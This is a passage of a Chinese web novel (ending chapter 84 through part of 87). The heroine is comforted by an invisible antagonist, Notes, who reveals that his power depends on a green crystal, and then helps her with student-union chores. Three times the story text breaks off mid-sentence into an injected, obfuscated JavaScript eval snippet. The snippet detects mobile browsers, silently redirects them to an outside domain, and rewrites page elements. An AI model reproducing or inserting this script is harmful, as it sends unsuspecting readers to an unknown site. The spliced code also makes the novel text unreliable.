庄森芽的视线落在小小的石剑醇上,片刻之后,它突然开始泛起微光,而与此同时,诺特斯用自己的手兜住了她的,只是,庄森芽没有感受到他的接触,男人的手穿过了她的手,两只手掌物理层面上的重叠在一起,共同托起那块小小的绿色晶体。 对方现在无疑是隐身的状态,所以可以无视物理规律的限制。 “每次我动用能力,它就会发光,而发光就代表着它在被消耗。虽然消耗肉眼不可见,但你能理解的,对吧?光亮意味着物质的转换,它在燃烧。” 这么基础的物理知识她当然能懂,确凿的现象让人有所动摇,从全然不信变成了半信半疑。 她看向诺特斯,说出了自己的推论,“这就是你盘踞候鸟山工厂的原因吗?” 能力的发动需要消耗石剑醇,而候鸟山工厂则是这种资源的生产地,无限量的供应也就代表了无尽的能力。 “不是哦。”诺特斯轻声说道,他解除了隐身,石剑醇也不再发光。他没有收回自己的手,而是用双手把那小块晶体和庄森芽的手一并扣在掌心,接着抬头,笑起来,“我接管候鸟山工厂,只是因为友人把它托付给了我。” 他往后退去,庄森芽的手被动地从他双手之间抽离,石剑醇也被他拿走了,男人站起来,把挂坠重新在脖子上系好。 庄森芽抬起头来盯着他,这才反应过来对方之前一直蹲在地上,卑躬屈膝的模样有点让人难以相信是他这样的人会做出来的。 “现在,我已经把自己最致命的弱点告诉你了。”他边系那条挂坠边说,“你要是想限制我,完全可以把所有的候鸟山工厂炸掉,一片石剑醇也不给我留,那样我就会变成一个再普通不过的平凡人。” 他目光侧望下来,眼里有窗户外打进来的月光,“但我实在不建议你这么做,因为……” 庄森芽紧盯着他,等待他接下来说的话。 不知为何,她竟然有点相信他刚才这些所有的胡言乱语,所以才会想要听他接下来的解释。 认定自己当下一定是鬼迷心窍了,等后面有时间,她一定要再理智地好好回想一番。 “……算了,还是先不说了。”诺特斯收回了本要出口的话。 这让听者有些抓心挠肝,她不由问道:“到底是什么?” 诺特斯笑起来,两手在自己的颈后调整着挂坠的长度,“不重要。” “……” 见他不肯再说,庄森芽也懒得再问,就算追问也没有结果,她已经在这方面领教过很多次经验了。 一时没人说话,万籁俱静,庄森芽不由开始回想刚才那番对话。 如果诺特斯说的全是真的,那么,他无疑是将一把能够刺穿自己心脏的利剑递交到了她的手上。 不过,这究竟是一把塑料弹簧刀,还是货真价实的钢铁呢? 她还是更倾向于前者。 “总而言之,我的意思是……”费了半天劲,他终于调整好了那条石剑醇挂坠,又回到庄森芽的身前,还是以一种蹲姿接近她,自愿放低了姿态,“你从一开始就掌握着我的生杀大权,这点从来就没有变过。所以,也不要害怕我会威胁你或者什么,那只是我小小的挣扎,为此感觉到被压得喘不过气来,就更没有必要了。” 男人的声音放得很轻,像是在低声地安慰。 接着,他伸出一只手,掌心贴在她一侧的脸颊上,大拇指抚去那上面的泪痕。 庄森芽盯着他,为对方自曝弱点的行为感到困惑的同时,也有些难以自制地沉溺于那双金棕色的眼睛,它不发狠的时候就像是粘稠的琥珀,总是盈着一种摄人心魂的光。 那番话听起来,就好像他是一个自愿被戴上手铐的罪犯,或者是在棕熊面前放下长枪的猎人,虽然拥有着无匹的实力,但却宁愿投降,以来换得她的安心。 “我的确很想活下去,也想留在这个世界上,但如果你……不愿意,真的一点都不愿意,”他反复强调着,眼里透出恳请的神色,“那就照我说的那样消灭我。但务必要对我温柔一点,好吗?” 她从来没见过这样的他。 反复盯着对方的两只眼睛,确认着那里面的诚恳。 她看不到一丝虚假。 也有可能是被蒙蔽了,她想。 一半的心在警醒着,认定诺特斯肯定是在伪装;可另一半似乎已经放弃了,哪怕是假的,也愿意相信。 只在当下这个瞬间,她想要相信。 在整个世界都与她背道而驰的时候,在她最为脆弱的时候,她多想相信眼前这个人说的一切都是真的,这样的话,起码还有一件事情不算那么坏,起码还有一件事情是她所能控制得了的。 如果是这样该有多好。 诺特斯,你为什么偏偏是诺特斯呢。她想。 不知怎么回事,思绪来到这里的时候,胸腔里那股委屈的情绪却像决堤一样,再也控制不住。 她紧闭上眼,浑身颤抖着,可是鼻尖和眼眶却愈发酸胀。 对面的人的声音听起来是有些无措的,“等等、怎么还哭得更厉害了……” 她感觉到那只温暖的手离开脸颊,轻抚上后颈,而另一只手揽住了她的后腰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389484|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 上一次男人这么做的时候,是在一家酒店里,一张座椅上,把她带进了一个不情愿的吻中。而这一次他没有这么做,只是将她上半身拉近了一些,让她的头颅靠在自己的胸膛。 肩膀在耸动,她极力控制着自己的情绪,可是却对这溃堤一样的泪水毫无办法。她不知道自己是怎么了,觉得很丢人,但是又抑制不住。 不禁有点自暴自弃,每次在这个诺特斯的面前总会丑态百出,但想了想对方的身份,怎么也是个见过大场面的人,一个动不动就哭的女人或许对他来说并不是什么稀罕事。 他说他见不得女人哭,所以才有了刚才那一系列自爆弱点的坦白。虽然那些可能只是惺惺作态的表演,但不得不说,它的确提供给了庄森芽一个可以放下包袱的契机。 她可以大胆释放着长久以来被压抑的情绪,哪怕当下营造出来的一切都是逢场作戏,哪怕都是假的,哪怕明天这个男人又会说‘其实我都是骗你的’,但现在,仅在这个时刻,她可以放任自己把这一切当真,沉溺于对方营造出的温暖的假象之中。 “好了好了……”他安慰似的拍着她的肩,轻轻捏着她的后颈,“都会没事的,你这么厉害,在一无所知的情况下还有勇气一直和看起来毫无胜算的对手抗争,没有什么能够难倒你,就算有我也会帮你的,好吗?” 庄森芽没回应,安静地靠在对方的胸膛,平复自己的情绪。 一股令人凝神的气味窜入鼻翼,她有点熟悉,那是诺特斯身上独有的味道。 每次离近了都会闻到,她说不好那像什么,可能是某种木质味的香水,闻久了会使人沉迷,就像是令人上瘾的香烟。 她觉得自己很丢人,居然倒在一个可以算得上是敌人的怀里。 而她的敌人居然还在安慰她,这件事要是被人知道了,她觉得自己一辈子都抬不起头来。 月夜宁静,夜晚的图书馆尤甚,静谧的图书室内,两个人影交叠在一起,像温存的眷侣。 缓了有一阵子,庄森芽推着胸膛,从他身上离开,萦绕在周身的短暂暖意也骤然离去。 男人没拦着,只是关切地盯着她。 她抽了抽鼻子,心想自己现在的模样一定很难看,低着头从背包里翻出纸巾,半掩住自己的脸,声音囔囔地冲对方说,“……照你的意思,你想说自己不是坏人吗?” 她想让自己看起来镇定一些,于是假装无事发生一样,谈论起刚才还有可聊余地的话题,也是其中一个她有些在意的问题。 诺特斯眯眼笑起来,贴心地帮她抽纸,也不再提她哭泣的事情,给足了面子,“我说了,我不在乎这个定义。关键在于——你怎么想。” “……” 她怎么想?她还能想什么,已经十足混乱了。 今天晚上发生的事情就像在做梦一样,梦里她见到了一个与平时大相径庭的诺特斯,他不再是个威胁。 如果他不再是一个威胁,那对于自己来说,他又是什么人? “我送你回去吧。”诺特斯轻声对她说。 庄森芽没有拒绝的理由,教材已经毁了,她继续待在图书馆也没有意义。 但她又不是那么想要回到宿舍,怕闭上眼睛,第二天醒来之后,残酷的现实又会找上门来,告诉她今日的温存只是蒙蔽双眼的假象。 可是男人放轻的话语像是魔咒,哄劝的音色使人无法拒绝。 她放弃了思考,像提线木偶一样收拾好自己的背包,在星夜之下返回宿舍楼。 诺特斯只送她到了楼下,庄森芽悄声回到宿舍,钻进自己的被子,电量耗尽,倒头就睡。 85. 帮手先生 ## 第二天早上起来,庄森芽在自己书桌上发现了一本崭新的医学教材,它完好无损,仿佛昨夜化成齑粉只是她的错觉。 昨天的果然是一场梦吗……?她想。 不过想想也是,那个诺特斯怎么会自曝弱点,又安慰哭泣的她,还说情愿去死呢。 这不符合常理,只有梦境才解释得通。 今早还有一个外联部的会议,她不能赖床,于是下床洗漱,发现眼眶还有些发肿,所以她的确是掉过眼泪,居然脆弱到会幻想有人出现安慰自己,对象居然还是那个诺特斯,她觉得自己可能是在压力之下人已经疯了。 收拾好书包,带上今天会议和课程所用的资料,因为教学区离住宿区的距离不近,她打算出门之后一天都不回来,所以尽量带足东西。 推开宿舍门,就见一个不应出现在女生宿舍的身影靠在对面的墙边。 诺特斯出现了,和她比划了一个约定俗成的手势,示意庄森芽他现在处在唯有她可见的状态。 “……你在这里做什么?”她低声开口,尽量不让声音被舍友或者其他人听见。 诺特斯就没有这个烦恼,他起伏有致的声线宛如某种清晨鸣叫的烦人鸟类,“态度变得好冷淡啊,明明昨天还在我的怀里掉眼泪。” 庄森芽脸色一僵。 所以昨天那些不是她的幻觉……她真的在这个可以算得上是宿敌的男人面前丢盔弃甲,哭得毫无颜面。 她感觉耳根有点发热,无视了对方,径直往宿舍楼的电梯走。 诺特斯悠悠跟了上来,有种如影随形的意图。 庄森芽侧头瞥了一眼他,猜不到他到底想做什么。 昨天晚上那些事情,既然不是她的幻觉,也就是说这个男人真的把他的弱点告诉了他。 当下,隐隐约约能在他白衬衫的胸口看到一个鼓起的痕迹,脖子上也挂着一根细长的黑线,那就是他昨晚亲自给她拿出来演示的石剑醇吊坠。 他离开它真的就无法使用能力了吗? 怎么‘解决’诺特斯是一个困扰她许久的问题,而她不觉得他会这么简单地就将答案提供给她,她笃定那些话大概率是骗她的…… ……可是骗她又有什么意义?只是为了让她从昨天那种低落的情绪中走出来吗? 诺特斯什么时候善良到会做这种事了?从来没有过。 按照惯常,他昨夜就应该嘲笑她的懦弱,给她的心灵雪上加霜,彻底击溃她,并且还要让她像一个颓丧的人偶一样答应他的任何要求。 可他却做了这么反常的事,这让庄森芽百思不得其解。 去往教学楼的路上,这个算不上小的尾巴一直跟着她,诺特斯不搞事,她也懒得去管,只专注于自己接下来要做的事情。 来到了外联部专属会议室,发现自己是第一个到的,时间尚早,看起来大家也都不愿意在大清早开会。 她又看了一遍裴佑哲给她发来的那些联谊文件,捋了捋今天要和大家讲述的内容。 时间陡然一转,其他参会成员也都到场了,都是一副困得不行的模样,就连部长段子良都是如此。 所有人之中只有一个人十分精神,那就是那个莫名其妙来出席外联部会议的学生会主席。 人到齐了,会议开始,庄森芽把资料传到电脑上,在大屏幕上投影。 她没有多少次公众演讲的经历,台下只有十个左右的听众,可依然有些紧张。 “这次的联谊活动由我校和,呃……上茂外国语大学联合举办,地点在对方学校,活动日期是今年的十二月七日,周日——” 她陈述到一半的时候,台下传来了指节敲击桌面的声音,往那处看去,只见学生会主席一脸严肃,手势是让她停止演讲的意思。 “这些信息已经强调过很多遍,大家也早就了解了。”裴佑哲说,“节省一些时间,重复内容就不要再说了。” 听他这么一讲,庄森芽有点紧张,原本想好的步骤都被打乱了。 她怎么知道哪些是重复内容,哪些不是?每个人了解信息的多少对她来说是未知数,她又不知道该省去哪些,保留哪些。 庄森芽感觉头脑有点乱,更何况旁边还有个人在干扰她的思绪。 诺特斯靠在讲台边上,像棵松一样站得七扭八歪,他盯着裴佑哲,模样倒有些诧异,“这小哥以前是这个样子的?我怎么记得他没有这么凶巴巴的。” 庄森言没法回话,告诉他说:这一切都是因为你逼我说了那些对不起人家的话。 注意力转回到演讲上,既然裴佑哲严肃要求她精简内容,她也只能硬着头皮上。 庄森芽省略了一些基础信息,跳到活动内容上,“呃……那下面说一下这次的活动信息,主要包括三个大环节,介绍环节,互动环节,以及最后的评分环节。三个环节结束之后,我们会收集两校的学生信息,帮他们提供后续的联络支持,以促进两校学生的——” 她还没说完,台下又传来一声叹息,弄得她一下就紧张了起来,盯着脸色有些失望的裴佑哲。 “你的听众是外联部的人,而不是街上随随便便拉来的散客。”他言辞犀利,“刚才你所讲的那些内容,都是些泛泛的事务,没有具体的这个外联部成员应做的事情上来。” “外联部应做的……”庄森芽重复着,感觉自己大脑一片空白,被上位者当众如此教训奚落,她一时不知道该如何应对。 “这么严厉干什么,你早上吃错呛药了?”段子良似乎对主席有所不满。 裴佑哲的脸色肃穆,不苟言笑,“一个演讲者理应知道自己具体在说什么,而听众又想听些什么,节省彼此的时间。” “我的天,她就是一个大一小孩,能把话说明白就不错了,你还要她干什么?”段子良几乎要翻白眼。 “这是她的责任。” “是你强加给她的吧,月客前一阵还问我今年怎么不用他去调研,后来我才知道是你把活给揽去了,还以为你是要亲自出马,结果却是甩给森芽了。” 学生会主席站起了身,没接话,而且似乎也不打算再听下去了,“没准备好的会议没必要开。信息不够充分,森芽,你重新去实地考察合作学校的场地以及学生情况,具体落实到活动当中外联部的人需要配合做什么,明天早上再开一次会。” 他撂下这段话,直朝会议室的大门而去。 “裴佑哲,你哪根筋搭错了。”段子良盯着主席的背影,愤愤然说,“她是我的人,你对她使唤来使唤去是想干什么?” “没事的,部长。”庄森芽劝阻道,不希望这两个人因她而起争执,“的确是我做得还不够好,我会回去准备得再充分一些的。” “你怎么也……”段子良诧异地盯着她,而后突然想起来什么事情,“啊,我知道了,是那个烦人的考核是吧,你被分到和那家伙一组?” 学生会入会考核是会级层面的事务,部长并不参与其中,顶多只是知道自己部门下面的成员有哪些去参与了考核,哪些通过了,哪些没通过。 “是的。”庄森芽回答。 段子良皱着眉,啧啧嘴,一副难办的模样,“去调研的事情你一个人做得了吗?要不我再派个人帮你?” 她摇摇头,“不用了,谢谢部长。” “好吧……那有什么困难跟我说,该反抗的时候要反抗,别惯着那个姓裴的。”段子良对主席的态度说不上有多好。 庄森芽感激地一笑,“好的。” 离开了会议室,走在去往教学楼的路上,身后的影子还跟着她,庄森芽已经不怎么在意了,反正诺特斯看起来也不打算做什么。 她一路上都在想手里的任务。要想调研活动场地,就必须去上茂外国语大学走一趟,打车过去差不多要二十多分钟,一来一回将近一个小时,加上调研的时间,一个下午能办成就不错了。 或许她刚才应该答应段子良为她提供帮手的选项……但生怕这么做,裴佑哲又会奚落她不是自己一个人完成的。 从海岛旅行回来之后,学生会主席对她的态度陡然一百八十度大转变,现在从他嘴中听到什么绝情的话,庄森芽都不会觉得意外了。 “我说,你就不能退出这个什么‘一周情侣’吗?” 走在校园路上的时候,身后的诺特斯发出了疑问。 庄森芽没看他,低声回应道:“不能,如果退出的话,肯定就会被逐出学生会,那样我这学期的学分就不够了。” “学分很重要?值得把自己搞得这么累。” “相当重要。” 诺特斯沉吟一声,半晌之后,他开口说:“那要不我来帮你吧?” 庄森芽斜了他一眼,“帮我?” “调研的事情,我可以帮你去那个什么上茂外国语大学打听打听,小小地黑进他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14404026|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的系统之类的,比你自己一个人去到处乱逛要有效率多了。” “……”听起来有点诱人。 诺特斯的能力可以让他无视安保措施,比起找人打听或者其他方式,直接从校园系统里调取资料要快速许多。 ……但这会不会违法? 不过就算法律不允许,这个男人也是法外的狂徒。况且,他应该不会蠢到留下任何罪证,如果他聪明的话,甚至都不会有人觉察到他潜入进去这件事。 不过,要是答应了他,她可就是从犯了。 然而,庄森芽几乎没怎么继续想,张口就问:“有什么条件?” “没有。” “我不信。” 对方就没有无偿提供过什么,除了昨天夜里的那些宽慰。 说实话,说到昨晚的事,到现在她还有种不切实际的感觉,鼻尖依然隐约萦绕着对方身上的气息,那让她觉得有些恍惚,仿佛昨晚那些温存还没有散尽。 “非要有什么条件的话……”诺特斯捏住自己的下巴,闭上眼睛,似乎在认真地思考着什么,“听我讲个故事?” 这算什么条件? “什么故事?”庄森芽头也不回地问。 这个时候,有什么东西从她眼前一晃而过,视觉比意识更快地捕捉到了它,那是一个绿色的晶体,拴在一根黑色的细线上,是诺特斯胸前挂着的那枚吊坠。 “曾经有这样一颗星星,它已经垂垂老矣,需要靠一种特殊的物质才能维系运转。”诺特斯娓娓道来,像说书人一般。 庄森芽找了个路边的公园椅,坐下来,打算认真聆听,这毕竟是一场交易,她对待交易向来是很认真的。 诺特斯也在她一旁坐下来,翘起一条腿,手臂搭在她的身后,另一手把玩着那个绿盈盈的吊坠,它在发光,诺特斯的隐身正在消耗着它,使它燃烧。 “可是呢,那种特殊物质同时也是一种效率极高的原料,人类趋之若鹜,对其过度开采,导致星球的基底受损,再没有产出这种物质的能力,故而,它在一步步濒临衰亡。” 诺特斯垂下眼睛,似在回忆。 庄森芽盯着地面,面前的道路上有来来往往的学生,她不能直白地盯着男人,那样会在旁人看起来很怪。 “这时候,有一个叫哈兰·戈斯的人出现了。他的家族流传着一个秘方,能够通过几种原材料合成星球运转所需的物质,于是这个哈兰就默默担负起了重任。” 说到这里的时候,诺特斯的声音听起来有些惆怅,尾音带着不可闻的嗟叹。 庄森芽有些好奇他会是什么表情,悄然往身旁一瞥,恰好和诺特斯对上了视线。 男人一笑,收起脸上有些感慨的神色,抬高缠绕着吊坠的那只手,用指骨轻碰了一下她的下颚,接触的地方却是没有知觉的。 他似乎偏爱身体接触,总是动手动脚,一开始庄森芽十分不适应,可时间长了也就接受了,只当这是独属于他的什么社交怪癖。 “哈兰不敢把星球岌岌可危这件事情告诉别人,害怕引起人类的恐慌。他只把它告诉了一个唯一值得信赖的朋友,那个朋友的名字叫做辛格。” 他说到这里,把提在手上的那个吊坠收回了衣襟之中,解开交叠的双腿,站起来,音色轻松地对她说:“好了,忙你的吧,中午我就把信息发到你的手机上。” 故事戛然而止,庄森芽感到有些困惑,她还听得云里雾里呢。 “……这就没了?” 男人背过身去离开,朝椅子上的人摆摆手,“且听下回分解。” 这套都被他学会了。 两人分道扬镳,诺特斯前往上茂外国语大学做他承诺的事,而庄森芽则奔赴课堂。 坐在座位上,她却有些无心听讲,脑海里充斥的是诺特斯刚才所讲的那个没头没尾的故事。 毫无疑问,他叙述的是莱王星的背景,话语中出现的那个名叫哈兰·戈斯的人足以说明一切。 这又是一个她身为作者的盲区。 一个架空的星球在她眼中不算生命,可诺特斯却说它‘垂垂老矣’,而庄森芽对此毫不知情。 虚构的世界在她所不知道的地方隐蔽地发展着,从种子变成参天大树,再从枝繁叶茂变成落叶遍地。她或许只看到了其中的一瞬,也只画出了一瞬,有关它,她有太多不了解的事情。 ……可是诺特斯为什么要和她说这些呢? 86. 看台清扫人人有责 就在思考的时候,手机的嗡鸣打断了她。 把扣着的屏幕翻转过来,庄森芽发现裴佑哲又给她下达了新的任务。 这次是让她下午去艺术节活动现场拍摄,并且留在那里,晚上负责把场地清空。学生会主席还特意强调了不会安排别人做这件事情,因为大家都很忙。 也就是说,她要自己一个人负责把偌大的场地打扫干净。 庄森芽趴在桌子上,微微叹了口气。 看来剩下这六天,她是逃不了做牛做马的命运了,幸好,把去上茂外国语大学调研的任务交给了诺特斯,否则真的是根本忙不完。 裴佑哲肯定也知道她忙不过来,但依然在给任务加码,庄森芽不知道他是想通过这种方式让她自愿放弃,还是想看看她的上限在哪里。 不过,无论原因是什么,她都必须尽力做到最好,既是为了向对方证明自己,也是为了不给他从学生会将自己除名的机会。 上完了上午的课,庄森芽走在去食堂的路上,手机再度嗡嗡响着,她有些提心吊胆地把它翻出来,生怕是裴佑哲又给她发布了什么艰巨的任务。 真的不能再加码了,现在的负荷已经满载到连喝口水都快排不上了。 幸好,消息是诺特斯发来的,她生平第一次这么庆幸是对方的来信。 男人按时完成了他承诺的事情,发来了一份说明文档,里面附着上茂外国语大学的活动场地照片,下方是干净干练的简介,没有一句废话。文档的末尾还注明了注意事项,比如场地的进出路线,一些可能发生的隐患,以及本次参加活动的学生名单,等等等等。 所有机密信息都被他翻了出来,精简之后的浓缩版全都汇聚在这一个文档上。翻过一遍就有了清晰的思路,知道下次开会应该怎么对外联部的人阐述了。 那家伙做事……居然有点可靠。庄森芽不禁心想。 「谢谢」两个字在输入框里敲了又删,最后还是发了一个不带感情的「收到」。 用过了午餐,下午那节课是没什么指望去上了,裴佑哲发来的那条消息要求她去艺术节现场拍摄,怎么听都不是一两个小时就能结束的重任。 来到艺术节活动现场,果不其然,场面嘈杂不已,十分混乱。 收到了主席消息的文艺部负责人把庄森芽抓去做牛马,不光是拍摄任务,还包括各种忙前忙后,给人端茶送水,主打一个什么杂活都做。 时间过得飞快,活动结束的时候,夕阳已经落了下去,她也差不多累个半死不活了。 水田里的老牛还有休息的时候,可是那些文艺部的家伙却不把她当人,说她年纪轻体力好,于是什么活都往她肩上撂。 庄森芽算是体验了一把体力劳动者的心酸,与之相比,自己曾经画漫画画到手抽筋的那些经历似乎都不算什么了。 活动结束之后,参与人员和组织成员全都拍拍屁股走人,偌大的活动场地就剩她一个,打扫现场的担子也就落在了她薄薄两片肩上。 裴佑哲还真是一个帮手都没给她留啊,庄森芽心想。 简直狠心。 艺术节场地在学校内的大会堂,台上是表演者的一席天地,台下是观众喝彩的一方平台。 台上倒是好打理,有用的东西都被演出者收走了,剩下的就是一堆零散的垃圾。关键在于台下,她必须一排排走过去,从各种缝隙里把灰尘和垃圾清扫出来,保证下一次活动之前场地的整洁。 劳累了一下午,肚子饿得咕咕直叫,她感到有些心慌焦虑,但打算一鼓作气收拾完之后再去吃东西,不然吃饱喝足之后,可能就没有动力再回来收拾这片烂摊子了。 就在清理台上的垃圾时,会场的大门打开,一个身影从外走了进来。 那人提着一个塑料袋,里面似乎装着的是盒饭。 庄森芽看到他,仿佛看到了救星——主要是因为他手里的盒饭。 进门的诺特斯环顾左右,往演出台的方向走,与此同时发出诧异的声音,“你这是在……?我不在的时候又派发什么任务下来了?” 他把塑料袋放在台上,庄森芽饿狼扑食一样凑上去,十分积极地拆开它,一瞬间,香气扑鼻,她几乎感动涕零。 里面有两份盒饭,显然是诺特斯特意为她带的。 庄森芽既感激又提防,别扭地看了他一眼。而后者站在台下方,胳膊肘拄着演出舞台的边缘,盈盈笑着。 “我很喜欢去的一家店,尝尝味道?” 她拿了一份出来,揭开盖子,塑料盒里面躺着的是煮熟的白米饭和半边菠萝咕老肉,对于一个消耗了巨大体力的年轻人来说,蛋白质是当下最好的营养品。 她从塑料薄膜里将筷子挤出来,掰成两半,塞了一口肉进去,嘴里鼓鼓囊囊的,顿时,之前那种心慌的情绪就不见了,人到饭点不吃东西就是会焦虑不已。 或许是因为食物带给她了平静,她竟自发地向一个不太合适的人阐述着她的困境,“……他要我打扫这整片场地。” 诺特斯望过来,似乎在她脸上看到了什么,伸出大拇指在她嘴角一抹,将擦掉的酱汁送进自己嘴里,整个动作行云流水,毫不介意,“那个看起来一本正经的小哥?” 庄森芽因为他的举动而有一些滞愣,咀嚼都变慢了,她盯着对方,发现男人的模样很自然,像是不觉得刚才的行为有什么不对。 感觉脑袋里有点乱糟糟的,她囫囵地应答,“……嗯,是。” 诺特斯扬扬眉毛,遥望凌乱的会场,“还真是一点也不手下留情啊。” “还不是因为你逼我对他说那些过分的话……”庄森芽有点埋怨地说。 男人咧嘴一笑,看起来丝毫没有愧疚感,“好吧,是我的错。那为了将功补过,我来帮你。” 他说着,手上已经行动了起来,自己的那份饭也没动,就穿着一身高档礼服,跳到舞台上,开始捡垃圾,活脱脱变成了一个苦力工,给人一种屈尊降贵的既视感。 庄森芽盯着塑料袋里的另一份盒饭,“你不先吃饭?” 诺特斯摊开自己的手掌,面朝着她,“我的手已经脏了,要不你喂我?” 想象了一下男人所述的场面,庄森芽只感觉背后泛起了一层细密的鸡皮疙瘩,那样的举动未免也太亲昵了,容她敬谢不敏。 “……那你饿着吧。”她背过身去,面冲着观众席,继续捧着自己的盒饭吃。 身后传来脚步声,她没去在意。阴影笼罩下来,她下意识地抬头。 下一瞬间,发丝在脸畔轻拂而过,男人在她的唇上蜻蜓点水,一晃而过。 “多谢款待。” 庄森芽愣住了,呆呆地看着男人再度投身苦力作业的背影。 他…… 他居然抢走了她叼在嘴里的肉! 顿时,脸上泛起一阵燥热,她又羞又愤,转头质问:“你干什么?” 诺特斯大言不惭,“吃东西啊。” 吃东西干嘛非得到别人嘴里来抢!? 男人盯着她,笑得眼睛都眯起来,“怎么脸这么红,刚刚只是擦了一下嘴唇而已,我不是都亲过你吗?” 听到这句话,她人差点炸了,深埋在脑海中的回忆一下子浮现上来,只觉得气血上涌,脑袋里的筋脉都快要被烧断。 “你……你……”庄森芽瞪着对方,连语言都组织不好,感觉自己像是一个铁锅里烧得烫手的金属圆珠,咕噜噜地转,却怎么也冷却不下来。 什么好的不提,他干嘛非得提那件事? 诺特斯把地上乱七八糟的废弃零件都捡起来,装进一个大号的编织袋里,忙活了半天后,他把装满的垃圾袋放到一旁,紧接着,他朝庄森芽的方向走过来。 她提防地盯着他,生怕他又要做什么出格的事。 到了近前,男人俯下身来,两只沾着灰尘的手背在身后,昂贵的礼服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412171|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上也盖了一层雾蒙蒙的灰色,他盯着她手里的盒饭,“我想吃米饭。” 原来是来讨饭的,看模样是要她喂他,庄森芽没想到这人居然在这件事情上这么坚持。 好汉不吃眼前亏,面对疯子要采取保守策略,她挖了一勺白米饭,颇不情愿地递上去,脸都歪去一旁。 吃到她喂的饭,诺特斯露出心满意足的表情,摇身一变又变成了苦力工,从后台找来扫帚,清理起舞台上的灰尘。 “灰有点大,你去观众席上坐着吧。”他还不忘提醒。 庄森言巴不得与他拉开距离,于是捧着自己的盒饭就跑去观众席的第一排,像个大老板一样看着男人清扫舞台。 这家伙在不搞事的时候还是挺称心如意的,只可惜,他出现十有八九都是来搞事的。 诺特斯手脚麻利地打扫干净了台上,又像收垃圾的列车员一样,提着一个崭新的垃圾袋在观众席间穿梭,没一阵,它就鼓了起来,装满了杂七杂八的废弃物。 恰巧,这个时候庄森芽也吃完了自己的那一盒饭,她盯着身影忙碌的男人,看到他毫无怨言的模样,渐渐觉得让他一个人打扫有点过意不去。 这毕竟最初是她自己的任务,虽然帮忙是对方主动提出来的,但无所事事地坐在这里依然有点忐忑,倒不是因为有多过意不去,只是不情愿被对方卖太多的人情,否则最后可能还不完。 虽然,她也没打算要还吧。 思量片刻,她也跑去找了个垃圾袋,从对方没有打扫过的角落开始清理观众席。 两人左右开弓,往中心聚拢,没过一阵子就碰了头,诺特斯顺手把她手里的垃圾袋子拿走了,和其他的一并堆在舞台上的角落。 如此,整个场地总算是被他们打扫干净了。 实际做起来也没有很难,但她觉得容易,很有可能是因为大部分工作都叫另外一个人承担了。 庄森芽拍着身上的灰,想到后台去洗一洗,难得大发慈悲地给对方提示,“舞台后有卫生间,你要洗手就去。” 洗干净之后,就不能仗着手脏让她喂他了。 诺特斯此刻正站在舞台上,他扭头盯着她,低声地笑着。 庄森芽不明白他又在笑什么,朝他投去视线,只见男人立在原地没动,可他身上那些雾蒙蒙的灰尘却像屋顶的雪一样揭落,在他的脚下堆积起一个肮脏的小山丘。 诺特斯往旁边跨了一步,就离开了那个灰尘堆,转瞬之间,他身上又变得一尘不染。 “你去吧,我没有这个必要。”他说,冲着放在观众席第一排的盒饭走过去。 庄森芽看着眼前所见到的景象,愣是想了半天才明白过来,诺特斯这是发动了隐身能力,身上附着的灰尘不属于他的一部分,失去了载体,所以纷纷落地,而他便是通过这种方法毫不费力地变得一干二净。 有这么方便的用法,他刚才怎么不用出来?还装模作样地说身上脏,要她亲手喂饭,这个男人的心眼果然太多了……! 庄森芽只恨自己没有对方那么便利的能力,只能按部就班去卫生间用清水和香皂洗净自己的手。 再回来的时候,看到诺特斯坐在第一排观众席最中央的位置上,他翘着一条二郎腿,腿上摆着盒饭,正慢条斯理地享用着,整个人看起来像是个来看演出的优雅观众。 堆在舞台角落的垃圾袋子们已经消失不见了,怎么想都是男人处理了它们。场地变得干干净净,完全没有了艺术节活动刚结束时的那种脏乱。 原本她以为要彻夜才能打扫干净的战场,却在一个多小时之内解决了,而这多亏了突然出现的诺特斯。 她应该对他表示感激吗?不,不对,他做这些完全是为了将功补过,不是吗? 因为海岛那晚他逼迫她对裴佑哲说那些话,直接导致她落魄到现在的处境,这些都是诺特斯的错,他做这些只是在弥补过错,如此,她为什么要对他表示感激? 87. 没说不准开挂 胡思乱想地时候,她的手机嗡嗡响了起来,庄森芽把它掏出来,发现是裴佑哲发来的消息。 主席说,外联部的会议定在明天早上七点,要她准备好,不要再犯像今天一样的错误,另外要她将明天下午的时间空出来,但没说具体要她做什么事。 庄森芽轻叹了一声,回了个「好的」,把手机收回口袋里。 看来这一周她都不会有一天轻松了。 “又是什么难题,讲给我听听?”问询的声音响起。 庄森芽抬头,看到诺特斯在用筷子戳盒饭里的食物,他没看她,伸出一只手拍了拍自己旁边的座位,示意她过去坐。 